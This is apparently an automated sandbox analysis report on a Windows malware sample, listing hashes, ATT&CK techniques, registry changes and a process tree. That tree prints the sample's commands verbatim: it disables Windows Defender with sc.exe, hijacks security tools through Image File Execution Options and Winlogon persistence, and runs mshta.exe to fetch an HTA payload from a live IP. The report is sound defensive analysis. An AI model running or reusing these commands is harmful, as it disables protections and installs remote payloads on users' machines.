1f59da5f8c3ed10ee6e27ca87592e3e81ab3cab6b7337ae40fae6a1e5887b243

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240910-en
resource tags

arch:x64arch:x86image:win10v2004-20240910-enlocale:en-usos:windows10-2004-x64system
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21-09-2024 03:37

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General

Target

eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe
Size

2.3MB
MD5

eeff0def88f30543c4b7f93976df37b4
SHA1

299b1944a074d04e1f3f23a05918eb2fd4542c4a
SHA256

1f59da5f8c3ed10ee6e27ca87592e3e81ab3cab6b7337ae40fae6a1e5887b243
SHA512

0335863a8d5c3cb968f67429fbc375943717c20393230da083a335f3d2540d8ec9434513f45113d504b7f389c982268628f91129c2db279b4e8ae1fd3ac43fa8
SSDEEP

49152:ukG9SpUleRvzfsEdDRUczjRO4Ye47YfW5I5GWMo/4abNpH1cZZ6k:uPSq6vzfJDRUczjfBGeF/4abNpVKZ6k

Score

10^/10

defense_evasion discovery evasion execution persistence

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=WLWOBVQV&2=i-s&3=99&4=9200&5=6&6=2&7=919041&8=1033

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\xkgxhv.exe"	xkgxhv.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	4244	mshta.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 20 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger = "svchost.exe"	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe	xkgxhv.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe"	xkgxhv.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger = "svchost.exe"	xkgxhv.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe	xkgxhv.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe"	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe"	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe"	xkgxhv.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger = "svchost.exe"	xkgxhv.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe	xkgxhv.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	xkgxhv.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe	xkgxhv.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe\Debugger = "svchost.exe"	xkgxhv.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger = "svchost.exe"	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe\Debugger = "svchost.exe"	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

pid	Process
2036	xkgxhv.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
400	sc.exe
2668	sc.exe
2780	sc.exe
436	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xkgxhv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2036	xkgxhv.exe
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Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2036	xkgxhv.exe
Token: SeShutdownPrivilege	2036	xkgxhv.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
2036	xkgxhv.exe
2036	xkgxhv.exe
2036	xkgxhv.exe
2036	xkgxhv.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2036	xkgxhv.exe
2036	xkgxhv.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 1640 wrote to memory of 400	1640	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe	89
PID 1640 wrote to memory of 400	1640	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe	89
PID 1640 wrote to memory of 400	1640	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe	89
PID 1640 wrote to memory of 2668	1640	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe	90
PID 1640 wrote to memory of 2668	1640	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe	90
PID 1640 wrote to memory of 2668	1640	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe	90
PID 1640 wrote to memory of 2036	1640	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe	93
PID 1640 wrote to memory of 2036	1640	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe	93
PID 1640 wrote to memory of 2036	1640	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe	93
PID 1640 wrote to memory of 5012	1640	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe	94
PID 1640 wrote to memory of 5012	1640	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe	94
PID 1640 wrote to memory of 5012	1640	eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe	94
PID 2036 wrote to memory of 2780	2036	xkgxhv.exe	96
PID 2036 wrote to memory of 2780	2036	xkgxhv.exe	96
PID 2036 wrote to memory of 2780	2036	xkgxhv.exe	96
PID 2036 wrote to memory of 436	2036	xkgxhv.exe	97
PID 2036 wrote to memory of 436	2036	xkgxhv.exe	97
PID 2036 wrote to memory of 436	2036	xkgxhv.exe	97
PID 2036 wrote to memory of 4244	2036	xkgxhv.exe	100
PID 2036 wrote to memory of 4244	2036	xkgxhv.exe	100
PID 2036 wrote to memory of 4244	2036	xkgxhv.exe	100

C:\Users\Admin\AppData\Local\Temp\eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\eeff0def88f30543c4b7f93976df37b4_JaffaCakes118.exe"
1⤵
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Windows\SysWOW64\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:400
- C:\Windows\SysWOW64\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:2668
- C:\Users\Admin\AppData\Roaming\xkgxhv.exe
  C:\Users\Admin\AppData\Roaming\xkgxhv.exe
  2⤵
  - Modifies WinLogon for persistence
  - Event Triggered Execution: Image File Execution Options Injection
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\SysWOW64\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2780
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:436
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=WLWOBVQV&2=i-s&3=99&4=9200&5=6&6=2&7=919041&8=1033"
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    PID:4244
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\EEFF0D~1.EXE" >> NUL
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Impair Defenses

T1562

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

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C:\Users\Admin\AppData\Roaming\xkgxhv.exe

Filesize
2.3MB

MD5
eeff0def88f30543c4b7f93976df37b4

SHA1
299b1944a074d04e1f3f23a05918eb2fd4542c4a

SHA256
1f59da5f8c3ed10ee6e27ca87592e3e81ab3cab6b7337ae40fae6a1e5887b243

SHA512
0335863a8d5c3cb968f67429fbc375943717c20393230da083a335f3d2540d8ec9434513f45113d504b7f389c982268628f91129c2db279b4e8ae1fd3ac43fa8

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memory/1640-0-0x0000000000400000-0x0000000000887000-memory.dmp

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4.5MB

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memory/1640-1-0x0000000002660000-0x00000000026BA000-memory.dmp

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360KB

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memory/1640-5-0x0000000000BA0000-0x0000000000BA1000-memory.dmp

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4KB

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memory/1640-9-0x00000000036C0000-0x00000000036C1000-memory.dmp

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4KB

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memory/1640-8-0x00000000026F0000-0x00000000026F1000-memory.dmp

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4KB

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memory/1640-7-0x00000000026D0000-0x00000000026D1000-memory.dmp

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4KB

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memory/1640-6-0x00000000026E0000-0x00000000026E1000-memory.dmp

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4KB

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memory/1640-2-0x0000000000B80000-0x0000000000B81000-memory.dmp

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4KB

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memory/1640-4-0x0000000000B60000-0x0000000000B61000-memory.dmp

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4KB

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memory/1640-3-0x0000000000B70000-0x0000000000B71000-memory.dmp

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4KB

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memory/1640-16-0x00000000036C0000-0x00000000036C1000-memory.dmp

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4KB

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memory/1640-15-0x0000000000BB0000-0x0000000000BB1000-memory.dmp

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4KB

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memory/1640-14-0x00000000036B0000-0x00000000036B1000-memory.dmp

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4KB

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memory/1640-13-0x00000000036C0000-0x00000000036C1000-memory.dmp

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4KB

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memory/1640-12-0x00000000036C0000-0x00000000036C1000-memory.dmp

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4KB

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memory/1640-11-0x00000000036C0000-0x00000000036C1000-memory.dmp

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4KB

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memory/1640-10-0x00000000036C0000-0x00000000036C1000-memory.dmp

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4KB

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memory/1640-17-0x0000000002740000-0x0000000002741000-memory.dmp

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4KB

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memory/1640-36-0x00000000036C0000-0x00000000036C1000-memory.dmp

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4KB

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memory/1640-41-0x00000000036B0000-0x00000000036B1000-memory.dmp

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4KB

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memory/1640-40-0x00000000036B0000-0x00000000036B1000-memory.dmp

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4KB

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memory/1640-39-0x00000000036B0000-0x00000000036B1000-memory.dmp

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4KB

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memory/1640-38-0x00000000036B0000-0x00000000036B1000-memory.dmp

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4KB

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memory/1640-37-0x0000000000400000-0x0000000000887000-memory.dmp

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4.5MB

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memory/1640-35-0x00000000036C0000-0x00000000036C1000-memory.dmp

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4KB

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memory/1640-34-0x0000000002900000-0x0000000002901000-memory.dmp

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4KB

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memory/1640-33-0x00000000036B0000-0x00000000036B1000-memory.dmp

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4KB

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memory/1640-32-0x0000000002890000-0x0000000002891000-memory.dmp

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4KB

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memory/1640-31-0x00000000036B0000-0x00000000036B1000-memory.dmp

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4KB

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memory/1640-30-0x00000000036C0000-0x00000000036C1000-memory.dmp

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4KB

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memory/1640-29-0x00000000036C0000-0x00000000036C1000-memory.dmp

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4KB

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memory/1640-28-0x00000000036C0000-0x00000000036C1000-memory.dmp

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4KB

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memory/1640-27-0x0000000002930000-0x0000000002931000-memory.dmp

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4KB

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memory/1640-26-0x00000000036C0000-0x00000000036C1000-memory.dmp

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4KB

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memory/1640-25-0x0000000002920000-0x0000000002921000-memory.dmp

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4KB

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memory/1640-24-0x00000000028E0000-0x00000000028E1000-memory.dmp

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4KB

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memory/1640-23-0x00000000028F0000-0x00000000028F1000-memory.dmp

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4KB

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memory/1640-22-0x00000000028C0000-0x00000000028C1000-memory.dmp

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4KB

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memory/1640-21-0x0000000002870000-0x0000000002871000-memory.dmp

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4KB

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memory/1640-20-0x00000000028A0000-0x00000000028A1000-memory.dmp

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4KB

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memory/1640-19-0x0000000002710000-0x0000000002711000-memory.dmp

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4KB

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memory/1640-18-0x0000000002720000-0x0000000002721000-memory.dmp

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4KB

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memory/1640-43-0x0000000002660000-0x00000000026BA000-memory.dmp

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360KB

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memory/1640-48-0x00000000036C0000-0x00000000036C1000-memory.dmp

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4KB

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memory/1640-47-0x0000000000A30000-0x0000000000A31000-memory.dmp

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4KB

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memory/1640-46-0x0000000000A20000-0x0000000000A21000-memory.dmp

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4KB

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memory/1640-45-0x00000000036A0000-0x00000000036A2000-memory.dmp

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8KB

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memory/1640-44-0x00000000036B0000-0x00000000036B3000-memory.dmp

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12KB

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memory/1640-42-0x00000000036B0000-0x00000000036B1000-memory.dmp

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4KB

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memory/1640-56-0x0000000000400000-0x0000000000887000-memory.dmp

Filesize
4.5MB

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memory/1640-55-0x0000000002660000-0x00000000026BA000-memory.dmp

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360KB

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memory/2036-53-0x0000000000400000-0x0000000000887000-memory.dmp

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4.5MB

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memory/2036-58-0x0000000000400000-0x0000000000887000-memory.dmp

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4.5MB

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